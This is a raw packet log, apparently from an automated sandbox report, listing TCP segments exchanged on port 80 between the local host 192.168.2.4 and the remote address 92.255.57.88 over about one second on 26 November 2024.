Nov 26, 2024 00:07:49.017674923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.017734051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.017770052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.017810106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.018404007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.018467903 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.018497944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.018533945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.019207001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.019254923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.019304991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.019388914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.020062923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.020138979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.020183086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.020227909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.020795107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.020934105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.020982027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.021626949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.021677017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.021716118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.021766901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.022483110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.022527933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.022577047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.022622108 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.023261070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.023304939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.023332119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.023389101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.024137974 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.024188995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.024225950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.024265051 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.024858952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.024908066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.024946928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.024996042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.025681973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.025733948 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.025788069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.025824070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.026475906 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.026520014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.026578903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.026623011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.027287006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.027328014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.027389050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.027431965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.028124094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.028167963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.028206110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.028250933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.028913021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.028973103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.029052973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.029089928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.029717922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.029762983 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.029786110 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.029824018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.030505896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.030555010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.030581951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.030622959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.031414032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.031522989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.031585932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.032300949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.032355070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.032540083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.033027887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.033075094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.033081055 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.033118963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.033730984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.033782005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.033818007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.033858061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.034480095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.034529924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.203002930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.203032017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.203042030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.203048944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.203108072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.203151941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.203664064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.203730106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.203763008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.203804016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.204484940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.204539061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.204566002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.204632044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.205025911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.205074072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.205143929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.205190897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.205859900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.205909967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.205971956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.206017971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.206661940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.206717014 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.206763029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.206811905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.207532883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.207581997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.207611084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.207657099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.208264112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.208312035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.208374023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.208426952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.209078074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.209126949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.209166050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.209211111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.209903002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.209949970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.209986925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.210033894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.210686922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.210736990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.210803986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.210860968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.211514950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.211563110 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.211622953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.211671114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.212373972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.212420940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.212435961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.212480068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.213166952 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.213226080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.213248968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.213264942 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.213960886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.214008093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.214031935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.214076996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.214736938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.214787006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.214833021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.214875937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.215547085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.215594053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.215671062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.215717077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.216342926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.216392994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.216516972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.216595888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.217144012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.217191935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.217251062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.217294931 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.217942953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.217988968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.218020916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.218076944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.218765020 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.218812943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.218858957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.218903065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.219554901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.219603062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.219646931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.219692945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.220396996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.220448017 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.220527887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.220573902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.221195936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.221240997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.221276045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.221332073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.222209930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.222255945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.222280025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.222346067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.222805023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.222851992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.222888947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.223012924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.223608971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.223675013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.223706007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.223763943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.224407911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.224452972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.224507093 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.224562883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.225212097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.225256920 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.225316048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.225361109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.226006985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.226052046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.226120949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.226165056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.226813078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.226859093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.226922989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.226964951 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.312567949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.432566881 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.780438900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.780510902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.780571938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.780616999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.780715942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.780759096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.780780077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.780822992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.781552076 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.781608105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.781641006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.781708956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.782336950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.782382965 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.782480001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.782524109 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.783138990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.783184052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.783220053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.783261061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.783931017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.783977032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.784035921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.784080982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.900615931 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.900651932 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.900815010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.900966883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.901027918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.901099920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.901144981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.901745081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.901793957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.902041912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.902086973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.902143955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.902188063 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.902879953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.902926922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.902954102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.902998924 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.903779984 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.903825045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.903857946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.903906107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.904495001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.904550076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.904581070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.904624939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.905380964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.905430079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.905467987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.905508995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.906213999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.906264067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.906430960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.906475067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.906955957 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.907001972 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.907028913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.907072067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.907768011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.907815933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.907866955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.907912970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.908509970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.908555984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.908612967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.908658981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:49.909343004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:49.909389973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.029015064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.029108047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.029119968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.029149055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.029227972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.029278994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.029335022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.029378891 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.030102015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.030153036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.030160904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.030201912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.030889034 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.030936956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.031076908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.031124115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.031682014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.031729937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.031810999 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.031858921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.032567978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.032617092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.032701015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.032742977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.033350945 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.033400059 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.033477068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.033523083 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.034143925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.034192085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.034260988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.034308910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.034907103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.034955025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.034991980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.035036087 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.035665989 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.035713911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.035787106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.035840988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.036490917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.036539078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.036611080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.036664009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.037359953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.037406921 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.037427902 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.037467003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.038175106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.038214922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.038223028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.038259029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.038965940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.039014101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.039051056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.039096117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:50.039757967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:50.039809942 CET	49753	80	192.168.2.4	92.255.57.88
